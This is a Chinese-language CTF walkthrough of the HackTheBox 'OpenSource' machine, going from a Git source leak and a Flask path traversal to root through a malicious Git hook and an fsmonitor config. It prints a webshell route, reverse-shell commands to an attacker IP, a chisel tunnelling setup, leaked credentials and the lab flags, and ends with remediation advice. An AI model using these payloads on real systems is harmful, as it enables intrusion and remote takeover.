[Meachines] [Easy] OpenSource Git泄露+Flask目录穿越-RCE+Docker横向移动+Git[Hookconfig]+Tyrant权限提升
字数 1105 2025-08-22 12:23:36
Flask应用安全漏洞分析与利用:从Git泄露到Root权限提升
1. 信息收集阶段
1.1 目标识别
- IP地址: 10.10.11.164
- 开放端口:
- 22/tcp: OpenSSH 7.6p1 Ubuntu
- 80/tcp: HTTP (Werkzeug/2.1.2 Python/3.10.3)
1.2 Web应用指纹识别
使用whatweb识别Web技术栈:
whatweb http://10.10.11.164/
whatweb http://10.10.11.164/download
发现是一个基于Flask的上传服务,标题为"upcloud - Upload files for Free!"
2. Git源码泄露利用
2.1 发现Git仓库
访问/download端点获取源码压缩包:
wget http://10.10.11.164/download -O source.zip
unzip source.zip
2.2 分析Git历史
git branch
git checkout dev
git log
git diff c41fedef2ec6df98735c11b2faf1e79ef492a0f3 ee9d9f1ef9156c787d53074493e39ae364cd1e05
关键发现:
/uploads路由存在目录穿越漏洞- 发现开发凭据:
- 用户名: dev01
- 密码: Soulless_Developer#2022
3. Flask目录穿越与RCE漏洞利用
3.1 目录穿越漏洞
分析Dockerfile和views.py发现:
- 应用会自动重载修改后的文件
- 上传功能未正确过滤路径,导致可以覆盖任意文件
3.2 注入恶意路由
通过上传修改后的views.py添加RCE端点:
@app.route('/shell')
def execute():
shell = request.args.get('shell')
if shell:
return subprocess.check_output(shell.strip(), shell=True)
return "No command provided"
3.3 执行远程命令
使用curl触发RCE:
curl "http://10.10.11.164/shell?shell=python3%20-c%20%27import%20os%2Cpty%2Csocket%3Bs%3Dsocket.socket%28%29%3Bs.connect%28%28%2210.10.16.28%22%2C443%29%29%3B%5Bos.dup2%28s.fileno%28%29%2Cf%29for%20f%20in%280%2C1%2C2%29%5D%3Bpty.spawn%28%22sh%22%29%27"
4. Docker环境横向移动
4.1 上传工具
upload /home/maptnh/Desktop/htb/chisel_1.10.1_linux_amd64 /tmp
chmod +x /tmp/chisel_1.10.1_linux_amd64
4.2 建立隧道
攻击机:
chisel server --port 10000 -v --reverse --socks5
目标机:
/tmp/chisel_1.10.1_linux_amd64 client 10.10.16.28:10000 R:1080:socks
4.3 扫描内网
proxychains nmap -p- 172.17.0.1 -Pn
发现3000端口运行Git服务
5. Git服务利用
5.1 访问Git服务
使用之前发现的凭据登录:
http://172.17.0.1:3000
username: dev01
password: Soulless_Developer#2022
5.2 获取SSH私钥
从Git仓库获取用户私钥:
http://opensource.htb:3000/dev01/home-backup
转换私钥格式:
openssl rsa -in id_rsa -out true_id_rsa
chmod 600 true_id_rsa
5.3 SSH登录
ssh dev01@10.10.11.164 -i ./true_id_rsa
获取user.txt: 0c88a3ca8e6dad3c9661362d435233b8
6. 权限提升: Git Hook利用
6.1 发现Git同步脚本
cat /usr/local/bin/git-sync
发现系统会定期执行git同步操作
6.2 创建恶意pre-commit钩子
vim /home/dev01/.git/hooks/pre-commit
内容:
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.16.28/10038 0>&1
设置可执行权限:
chmod +x /home/dev01/.git/hooks/pre-commit
7. 最终权限提升: Tyrant利用
7.1 修改Git配置
cp config config.bak
修改.git/config:
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
fsmonitor = "/bin/bash -c '/tmp/tyrant'"
7.2 使用Tyrant提权
./tyrant -uid 0 -rhost 10.10.16.28 -rport 10038
获取root.txt: 60d907c88052f0d4b57a95e7b778f542
漏洞总结与修复建议
漏洞链总结:
- Git源码泄露 → 2. 硬编码凭据 → 3. 目录穿越 → 4. Flask RCE → 5. Docker逃逸 → 6. Git Hook提权
修复建议:
- 禁止.git目录的Web访问
- 避免在代码中硬编码凭据
- 实现严格的文件路径验证
- 禁用动态代码执行功能
- 限制Docker容器权限
- 审计Git Hook和同步脚本的安全性